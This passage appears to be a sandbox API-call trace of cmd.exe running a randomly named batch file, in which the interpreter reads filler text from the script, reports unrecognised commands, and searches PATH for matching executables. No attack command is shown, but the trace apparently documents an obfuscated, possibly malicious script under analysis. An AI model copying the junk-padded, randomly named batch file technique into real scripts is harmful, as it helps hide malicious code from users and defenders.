as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.474] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'XP' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.474] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x5d) returned 1 [0162.480] ??_V@YAXPEAX@Z () returned 0x1 [0162.480] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.480] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.481] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.481] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.481] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.481] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.481] SetConsoleInputExeNameW () returned 0x1 [0162.481] GetConsoleOutputCP () returned 0x1b5 [0162.482] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.482] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.483] ??_V@YAXPEAX@Z () returned 0x1 [0162.484] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.484] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.484] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.484] SetFilePointer (in: hFile=0x94, lDistanceToMove=1209, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4b9 [0162.484] GetProcessHeap () returned 0x20b0f920000 [0162.484] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.485] GetProcessHeap () returned 0x20b0f920000 [0162.485] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.485] GetProcessHeap () returned 0x20b0f920000 [0162.485] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.485] GetProcessHeap () returned 0x20b0f920000 [0162.485] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fd0) returned 1 [0162.486] GetProcessHeap () returned 0x20b0f920000 [0162.486] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956b50) returned 1 [0162.486] GetProcessHeap () returned 0x20b0f920000 [0162.486] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957fe0) returned 1 [0162.486] GetProcessHeap () returned 0x20b0f920000 [0162.486] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.486] GetProcessHeap () returned 0x20b0f920000 [0162.486] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.486] GetProcessHeap () returned 0x20b0f920000 [0162.486] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.486] GetProcessHeap () returned 0x20b0f920000 [0162.486] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.487] GetProcessHeap () returned 0x20b0f920000 [0162.487] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.487] GetProcessHeap () returned 0x20b0f920000 [0162.487] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946950) returned 1 [0162.487] GetProcessHeap () returned 0x20b0f920000 [0162.487] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.487] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.487] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4b9 [0162.487] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x12fc, lpOverlapped=0x0) returned 1 [0162.488] SetFilePointer (in: hFile=0x94, lDistanceToMove=1218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0162.488] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 9 [0162.488] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.488] GetFileType (hFile=0x94) returned 0x1 [0162.488] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.488] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0162.488] GetProcessHeap () returned 0x20b0f920000 [0162.488] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.488] GetProcessHeap () returned 0x20b0f920000 [0162.488] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.488] _tell (_FileHandle=3) returned 1218 [0162.489] _close (_FileHandle=3) returned 0 [0162.489] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.489] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.489] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.489] SetFilePointer (in: hFile=0x94, lDistanceToMove=1218, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0162.489] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.489] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4c2 [0162.489] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x12f3, lpOverlapped=0x0) returned 1 [0162.489] SetFilePointer (in: hFile=0x94, lDistanceToMove=1227, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4cb [0162.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 9 [0162.489] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.489] GetFileType (hFile=0x94) returned 0x1 [0162.489] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.489] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cb [0162.489] GetProcessHeap () returned 0x20b0f920000 [0162.489] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.490] GetProcessHeap () returned 0x20b0f920000 [0162.490] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.490] _tell (_FileHandle=3) returned 1227 [0162.490] _close (_FileHandle=3) returned 0 [0162.490] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.490] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.490] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.491] SetFilePointer (in: hFile=0x94, lDistanceToMove=1227, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4cb [0162.491] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.491] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4cb [0162.491] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x12ea, lpOverlapped=0x0) returned 1 [0162.491] SetFilePointer (in: hFile=0x94, lDistanceToMove=1313, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x521 [0162.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=86, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\r\n.3 \r\nta, 7, ...\r\n \r\n") returned 86 [0162.491] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.491] GetFileType (hFile=0x94) returned 0x1 [0162.491] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.491] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x521 [0162.491] GetProcessHeap () returned 0x20b0f920000 [0162.491] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.491] GetProcessHeap () returned 0x20b0f920000 [0162.491] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.492] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0162.492] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0162.492] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0162.492] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0162.492] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0162.492] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0162.492] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0162.492] GetProcessHeap () returned 0x20b0f920000 [0162.492] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.492] GetProcessHeap () returned 0x20b0f920000 [0162.492] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0162.492] GetProcessHeap () returned 0x20b0f920000 [0162.492] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa8) returned 0x20b0f92cb10 [0162.492] _tell (_FileHandle=3) returned 1313 [0162.492] _close (_FileHandle=3) returned 0 [0162.492] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.492] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.492] GetFileType (hFile=0x50) returned 0x2 [0162.492] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.493] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.493] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.493] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.496] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.497] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.497] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.497] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.497] GetFileType (hFile=0x50) returned 0x2 [0162.497] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.497] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.497] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.497] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.498] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.498] GetFileType (hFile=0x50) returned 0x2 [0162.498] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.498] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.498] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.498] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0162.498] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 76 [0162.498] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.498] GetFileType (hFile=0x50) returned 0x2 [0162.498] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.498] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.499] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.499] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4c) returned 1 [0162.499] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.499] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.499] GetFileType (hFile=0x50) returned 0x2 [0162.499] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.499] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.500] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.500] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.506] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.507] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.507] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.507] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.507] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.507] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.507] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.507] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.507] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.507] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.507] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.508] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.508] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.508] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.508] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.508] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.508] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.508] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.508] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.508] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.508] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.508] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.508] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.508] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.508] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.508] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.508] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.508] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.508] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.508] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.508] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.508] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.508] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.508] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.508] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.508] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.508] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.508] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.508] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.508] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.508] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.509] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.509] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.509] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.509] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.509] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.509] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.509] GetProcessHeap () returned 0x20b0f920000 [0162.509] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.512] SetErrorMode (uMode=0x0) returned 0x0 [0162.512] SetErrorMode (uMode=0x1) returned 0x0 [0162.512] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.512] SetErrorMode (uMode=0x0) returned 0x1 [0162.512] GetProcessHeap () returned 0x20b0f920000 [0162.512] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0162.512] GetProcessHeap () returned 0x20b0f920000 [0162.512] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0162.512] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.512] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.512] GetProcessHeap () returned 0x20b0f920000 [0162.512] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.512] GetProcessHeap () returned 0x20b0f920000 [0162.513] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.513] GetProcessHeap () returned 0x20b0f920000 [0162.513] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.513] GetProcessHeap () returned 0x20b0f920000 [0162.513] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.513] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.513] GetProcessHeap () returned 0x20b0f920000 [0162.513] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.513] GetProcessHeap () returned 0x20b0f920000 [0162.513] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.513] GetProcessHeap () returned 0x20b0f920000 [0162.513] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.513] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.513] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cf70 [0162.513] FindClose (in: hFindFile=0x20b0f92cf70 | out: hFindFile=0x20b0f92cf70) returned 1 [0162.513] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.514] GetLastError () returned 0x2 [0162.514] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.514] GetLastError () returned 0x2 [0162.514] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.514] GetLastError () returned 0x2 [0162.514] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.514] GetLastError () returned 0x2 [0162.514] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.515] GetLastError () returned 0x2 [0162.515] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.515] GetLastError () returned 0x2 [0162.515] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.515] GetLastError () returned 0x2 [0162.515] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.515] GetLastError () returned 0x2 [0162.515] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.515] GetLastError () returned 0x2 [0162.515] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.515] GetLastError () returned 0x2 [0162.515] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.516] GetLastError () returned 0x2 [0162.516] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.516] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.516] GetLastError () returned 0x2 [0162.516] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.516] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d0f0 [0162.516] FindClose (in: hFindFile=0x20b0f92d0f0 | out: hFindFile=0x20b0f92d0f0) returned 1 [0162.516] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.516] GetLastError () returned 0x2 [0162.517] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, 